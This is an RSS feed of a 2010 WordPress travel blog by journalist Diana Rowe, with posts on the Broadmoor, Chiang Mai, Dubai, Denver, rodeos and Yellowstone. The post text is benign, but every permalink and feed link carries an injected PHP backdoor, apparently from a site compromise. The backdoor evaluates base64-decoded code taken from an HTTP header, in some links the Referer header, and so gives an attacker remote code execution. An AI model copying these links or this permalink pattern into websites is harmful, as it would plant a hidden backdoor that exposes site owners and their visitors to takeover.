Where in the World is Diana Today? http://www.dianarowe.com/blog Travels of Journalist Diana Rowe (http://www.dianarowe.com) Wed, 14 Jul 2010 13:04:53 +0000 http://wordpress.org/?v=2.3.3 en blogging at TravelingInHeels.com http://www.dianarowe.com/blog/2010/07/14/blogging-at-travelinginheelscom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/07/14/blogging-at-travelinginheelscom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 14 Jul 2010 13:04:53 +0000 admin http://www.dianarowe.com/blog/2010/07/14/blogging-at-travelinginheelscom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Good morning! As I work on updating this website and transferring to a new platform, I won’t be posting, blogging and/or updating as frequently. Please check my http://www.TravelingInHeels.com blog to discover “where in the World is Diana Today?”

Thanks for reading!
Diana
http://www.dianarowe.com

]]> http://www.dianarowe.com/blog/2010/07/14/blogging-at-travelinginheelscom/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Travel Tips: Plan a Fun, Quick Family Vacation http://www.dianarowe.com/blog/2010/06/08/travel-tips-plan-a-fun-quick-family-vacation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/06/08/travel-tips-plan-a-fun-quick-family-vacation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 08 Jun 2010 20:08:19 +0000 admin http://www.dianarowe.com/blog/2010/06/08/travel-tips-plan-a-fun-quick-family-vacation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I’m guest blogger today at FareCompare.com, answering questions on how to plan a fun, quick family vacation. Here’s the link:

http://www.farecompare.com/articles/farecompare-4×4-travel-deals-4-ways/farecompare-4×4-travel-tips-for-a-quick-family-vacation/

Thanks for stopping by! Diana

]]> http://www.dianarowe.com/blog/2010/06/08/travel-tips-plan-a-fun-quick-family-vacation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ The Broadmoor in Colorado Springs http://www.dianarowe.com/blog/2010/04/19/the-broadmoor-in-colorado-springs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/04/19/the-broadmoor-in-colorado-springs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 19 Apr 2010 13:42:21 +0000 admin http://www.dianarowe.com/blog/2010/04/19/the-broadmoor-in-colorado-springs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Anytime I need a getaway, one of those that immerses you in its destination and takes you away from the “world,” I plan a trip to The Broadmoor in Colorado Springs. It’s just over an hour from my home in Denver metro, but the moment I pull up to the security gate, I feel like I’ve entered another world.

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The staff personally welcomes me back (as in “Welcome back, Miss Rowe) as I walk into the historic property and I immediately relax. After we check out our room, drop off our bags, our first stop is usually at The Hotel Bar. Not just because we enjoy having a relaxing drink at the bar, but because the bartender Lynn is like family. She always greets us by name, even if we haven’t visited in months. After all these years of visiting The Broadmoor, she’s family and we really have to catch up. 

goldenbee2.jpgAnother favorite stop is the Golden Bee, an authentic 19th century English pub, shipped from England in  a collection of panels and fixutures in 1961 and reassembled in Colorado Springs. (Did you know that Colorado Springs once was nicknamed “Little London?”) Order pub-fare (soups, sandwiches, fish & chips + more), order a yard of ale (5 1/2 beers), and listen to the ragtime piano player belt out sing-a-long songs every night at 8:30pm.  Fun, fun, fun English-style.

The best kept secret about this 5-star luxury, historic resort is that it doesn’t have to break the bank.  Their historic 72-hour sale has been extended and ends tonight (April 12, 2010 at midnight). But there’s always deals to be had on their website. Or sign up to receive those deals via email.

I frequently write about The Broadmoor, because, well, there’s so much to write about from taking my grandchildren for family time to taking my man for a romantic getaway.

Now that my mind is rested from my 3-day getaway to The Broadmoor and my body is relaxed from the pampering at their spa, I feel fresh on this Monday morning and ready to start the busy week.

Have a great day — and go check out The Broadmoor.

Diana Rowe, Denver Travel Examiner

]]> http://www.dianarowe.com/blog/2010/04/19/the-broadmoor-in-colorado-springs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Adventure in Chiang Mai, Thailand http://www.dianarowe.com/blog/2010/04/08/adventure-in-chiang-mai-thailand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/04/08/adventure-in-chiang-mai-thailand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 08 Apr 2010 15:52:46 +0000 admin http://www.dianarowe.com/blog/2010/04/08/adventure-in-chiang-mai-thailand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I recently finished up a 2-week whirlwind trip to Thailand, the land of smiles. What a beautiful country with beautiful and friendly people!

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Read more about my Chiang Mai adventures as blogger at Traveling Grandmom and  at Traveling In Heels.

Until next time.

Diana
Denver Travel Examiner

]]> http://www.dianarowe.com/blog/2010/04/08/adventure-in-chiang-mai-thailand/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Travel to the tune of Country Music http://www.dianarowe.com/blog/2010/03/30/travel-to-the-tune-of-country-music/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/03/30/travel-to-the-tune-of-country-music/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 30 Mar 2010 14:00:34 +0000 admin http://www.dianarowe.com/blog/2010/03/30/travel-to-the-tune-of-country-music/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Tuness to travel to…country songs that take you places.  Read my top 10 in my recent article for American Cowboy, what are yours?

http://www.americancowboy.com/culture/tunes\

]]> http://www.dianarowe.com/blog/2010/03/30/travel-to-the-tune-of-country-music/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ From Boise to Dubai http://www.dianarowe.com/blog/2010/03/13/from-boise-to-dubai/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/03/13/from-boise-to-dubai/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 14 Mar 2010 02:28:49 +0000 admin http://www.dianarowe.com/blog/2010/03/13/from-boise-to-dubai/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ And everywhere in between. It’s been a crazy busy year. I kicked off the year with a visit to Wintery Yellowstone including skiing at Jackson Hole (read more about Yellowstone). From there, I’ve stopped off at Park Hyatt Beaver Creek for a girlfriend getaway; up the canyon to Central City & Blackhawk, CO; swinging my club at Innisbrook Resort; ski vacation with family to Winter Park & YMCA Snow Mountain Ranch; and now my traveling heels have landed in Dubai.  
Click here for picture of my accommodatoins: Dubai, United Arab Emirates: Jumeirah

I’ll post links as I write articles, but in the meantime, follow my tweets by clicking here

]]> http://www.dianarowe.com/blog/2010/03/13/from-boise-to-dubai/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Denver does romance http://www.dianarowe.com/blog/2010/02/06/denver-does-romance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/02/06/denver-does-romance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 06 Feb 2010 19:06:01 +0000 admin http://www.dianarowe.com/blog/2010/02/06/denver-does-romance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Romance is in the air in February, especially in Denver metro, a cosmopolitan, yet laid back metro area that offer offers spectacular views of the Rocky Mountains, from just about anywhere. Perhaps that’s why I think the Denver metro area is so romantic. Check out these suggestions for creating a Denver metro romantic getaway any time of the year: 

Celebrate romance in downtown Denver

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Top 10 places to kiss in downtown Denver

Until next time, Diana Rowe
Check out more of my articles as the Denver Travel Examiner

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Meeting In Your Own Backyard
You can hear the groans now when you announce that instead of your annual January sales meeting in a tropical destination you’ll be meeting at a local hotel in your wintry backyard. You feel the pressure to pull off a highly successful event, yet how can you create an over-the-top meeting experience when your meeting isn’t in an exotic setting?

To read more, click here.

Until next time, Diana Rowe

]]> http://www.dianarowe.com/blog/2010/01/24/meeting-in-your-own-backyard/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Let’s go Rodeo! http://www.dianarowe.com/blog/2010/01/14/lets-go-rodeo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/01/14/lets-go-rodeo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 14 Jan 2010 17:16:37 +0000 admin http://www.dianarowe.com/blog/2010/01/14/lets-go-rodeo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ There are 30 million rodeo fans in the United States, according to the Professional Rodeo Cowboys Association, and more than 600 professional rodeos are held annually throughout the U.S. and Canada. Pick one or pick ‘em all, but take a look at this article on 14-must see rodeos in Rodeo Travel, appearing in the December 2009/January 2010 issue of American Cowboy Magazine.

Here’s an excerpt of a rodeo in my own backyard, Denver’s National Western Stockshow:

National Western Stock Show, Rodeo and Horse ShowDenver, Colorado

By Diana Rowe

 

The first major rodeo of the year and held each January since 1906, the National Western is a Denver tradition. Filled to the brim with rodeos, livestock, and entertainment, this 16-day festival is more than just a rodeo. Considered the Super Bowl of livestock shows, the National Western is a major draw for serious stockmen. And spectators travel from near and far to view the thousands of cattle, horses, goats, sheep, and poultry competing for ribbons and prizes. Animals long associated with the Rocky Mountains are also on display, including bison, elk, llamas, and yaks.

Click here for more about National Western Stockshow

Until the next time,

Diana Rowe

]]> http://www.dianarowe.com/blog/2010/01/14/lets-go-rodeo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Yellowstone/Jackson Hole http://www.dianarowe.com/blog/2010/01/04/yellowstonejackson-hole/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.dianarowe.com/blog/2010/01/04/yellowstonejackson-hole/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 04 Jan 2010 18:00:04 +0000 admin http://www.dianarowe.com/blog/2010/01/04/yellowstonejackson-hole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Surprisingly, I’ve never made the sojourn to Yellowstone National Park,  and Wednesday I’ll take a quick flight to Jackson Hole and trek my way to a national park that has been on my bucket list since I was a youngster.

I’ll be staying at several Xanterra Parks & Resorts: Old Faithful Snow Lodge, Old Mammoth Hot Springs Hotel, Old Fathful Snow Lodge & Hotel Terra, riding in Xanterra Snowcoach, taking guided tours, checking out Lamar Valley for wolf watching & other wild animals under the guidance of Yellowstone Association Institute, plus more! 

And this 40-something-year-old grandmom is even taking ski lessons again at Jackson Hole.� Hopefully my knees will hold up.

Even though I’m not a fan of the cold, I’m bundling up, packing my long underwear and warm overcoats and taking one for the team. Everyone tells me this will be a trip to file in the memories bank.

Am I the only one that hasn’t been to Yellowstone? Anyone else out there? Any suggestions on what not to miss?

Read more about my Yellowstone winter adventure.

Until next time, Diana

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